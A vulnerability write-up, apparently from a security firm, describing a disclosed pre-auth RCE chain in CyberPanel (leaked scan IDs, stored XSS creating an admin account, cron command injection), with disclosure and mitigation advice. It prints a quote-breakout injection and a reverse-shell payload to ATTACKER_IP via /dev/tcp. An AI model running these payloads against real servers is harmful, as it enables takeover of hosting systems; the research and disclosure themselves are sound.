TL;DR
We found a full pre-authentication RCE chain in CyberPanel v2.4.
It didn’t come from a single bug. It came from chasing the wrong path, hitting a dead end, almost giving up, and then finding the one piece that made everything click.
With no credentials. And no prior access. We were able to create a 3-piece-chain, including CVE-2026-41473, CVE-2026-41472, and the built-in feature of server cronjobs, to perform a full pre-auth RCE (Remote Code Execution) on CyberPanel servers.
We disclosed it to CyberPanel’s security team, and they did a great job fixing it within 4 hours.
The Trigger
In April 2026, cPanel had a bad week.
CVE-2026-41940 dropped, affecting roughly 1.5 million internet-facing servers. It was loud, widely exploited, and impossible to ignore.
But the interesting part wasn’t just the vulnerability itself. It was what it represented: a pre-authentication path into a system that manages other people’s infrastructure.
So instead of digging deeper into cPanel, we asked another question: What about everything else that looks like cPanel?
Enter CyberPanel
CyberPanel sits in the same category. It manages websites, DNS, emails, Databases, etc. – basically, it is the control plane for a server. And like most tools in this space, it exposes a web interface to the internet.
It’s widely deployed, with almost 300,000 internet-facing servers
It also has some history.
A previous vulnerability showed that its security model relies heavily on a centralized middleware layer. That kind of design might be efficient, but it also means that if something slips past that layer, everything behind it is exposed.
That was enough of a signal for a variant analysis type of research.
We started looking.
The First Lead (That Went Nowhere)
The first thing we found looked promising.
There’s a parameter called cronCommand that’s explicitly excluded from security filtering. The reasoning makes sense – cron syntax uses characters that would otherwise look suspicious, but the implementation is absolute. If the key matches, the value is trusted.
Downstream, that value is dropped into a shell command, wrapped in single quotes.
Which sounds safe until you remember that a single quote is exactly what you need to break out of it.
Normal:
--finalCron '* * * * * /usr/bin/backup.sh'
Injected:
--finalCron '* * * * * '; touch /tmp/pwned; echo ''
The command executed immediately when the cron job was created.
We verified it quickly. For a moment, it looked like we had it.
Then we stepped back.
This endpoint requires authentication.
And more importantly, cron already lets you run arbitrary commands – you just wait a minute.
So what did we really gain?
Not much. We had execution with or without the command injection.
Changing Direction
When something that looks like “the bug” turns out not to matter, it’s usually a sign you’re looking in the wrong place.
So we shifted focus.
Instead of obvious injection points, we started looking at newer features. Places where assumptions might not be fully baked in.
That’s when we found the AI Scanner.
The Almost-Bug
The AI Scanner exposes an endpoint that accepts scan results from an external service.
It’s unauthenticated by design.
The data is written directly to the database, and later rendered in the admin dashboard – without sanitization.
Raw attacker input, no sanitization
Stored directly to DB
Which leads us to a textbook stored XSS.
This looked like the entry point we needed. Except for one problem.
To submit results, you need a valid scan_id. If the ID doesn’t exist, the request fails. So we had a working XSS sink…that we couldn’t reach.
We tried the obvious paths. Guessing IDs, replaying flows, poking at how scans are created. But nothing worked. At this point, it felt like we were one step away from something real – but that step just wasn’t there.
Not gonna lie – this was the “almost started to cry” moment, where everything works except the one thing you actually need.
Stepping Back
When you get stuck like that, forcing it rarely works.
You zoom out.
Look for things that shouldn’t exist at all. And eventually, something stands out.
The Thing That Shouldn’t Have Been There
Buried in the routing configuration were two endpoints, with a comment above them:
They weren’t removed.
We sent a request. A single unauthenticated GET to `/api/ai-scanner/list-api-keys` returns:
The response included recent scans. All sorts of leaked AI scan data. Including a valid scan_id.
That was it.
The Chain Comes Together
With a valid scan_id, we submitted a forged scan result.
The payload was stored.
Now it just needed to be viewed.
When the admin opened the scan results page, the payload executed in their session.
Instead of doing something noisy, it used the admin’s own session and CSRF token to create a new admin account.
No alert. No indication.
From the admin’s perspective, they were just reviewing a security finding.
Meanwhile, a new admin user was created in the background.
Back to Where We Started
At this point, we didn’t need anything new.
We logged in with the new account, created a website to get a system user, and returned to the cron functionality we had already tested.
Same code execution. Different context.
This time, it mattered.
POST /websites/addNewCron
{
"domain": "pwned.local",
"cronCommand": "'; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; echo '"
}
We got a shell.
The Full Picture
Looking back, the chain is simple.
But getting there wasn’t.
It required:
- abandoning a promising lead
- chasing a partial vulnerability
- hitting a dead end
- and finding the one missing link
Individually, they don’t get you very far. Together, they get you from unauthenticated internet access to a shell.
Disclosure
We reported the full chain on May 4, 2026. CyberPanel patched it in about four hours.
That’s not something you see often. It significantly reduces the real-world risk, and it’s precisely how a disclosure process should look.
Long after our disclosure, we became aware of earlier independent research that had identified the unauthenticated AI Scanner callback and stored XSS primitive. However, that research still required a valid scan_id. Our research independently found the same primitive and uncovered /api/ai-scanner/list-api-keys, which exposed valid scan IDs and completed the pre-authentication attack chain (GitHub Security Advisory).
Following our disclosure on May 4, 2026, CyberPanel patched the affected chain in this commit, including removal of the debug endpoints, callback authentication, and output escaping.
Mitigation & Recommendations
If you’re running CyberPanel, updating to the latest patched version is strongly recommended.
If immediate patching isn’t possible, start by disabling the AI Scanner feature and blocking access to the AI Scanner debug endpoints (/api/ai-scanner/list-api-keys, /api/ai-scanner/test-auth).
If you want to make sure the accessibility to the sensitive API calls, you’re welcome to use this Nuclei template we created. Check it out here:
https://github.com/PenteraIO/CVE-2026-41473-CyberPanel-AI-Scanner-Unauth












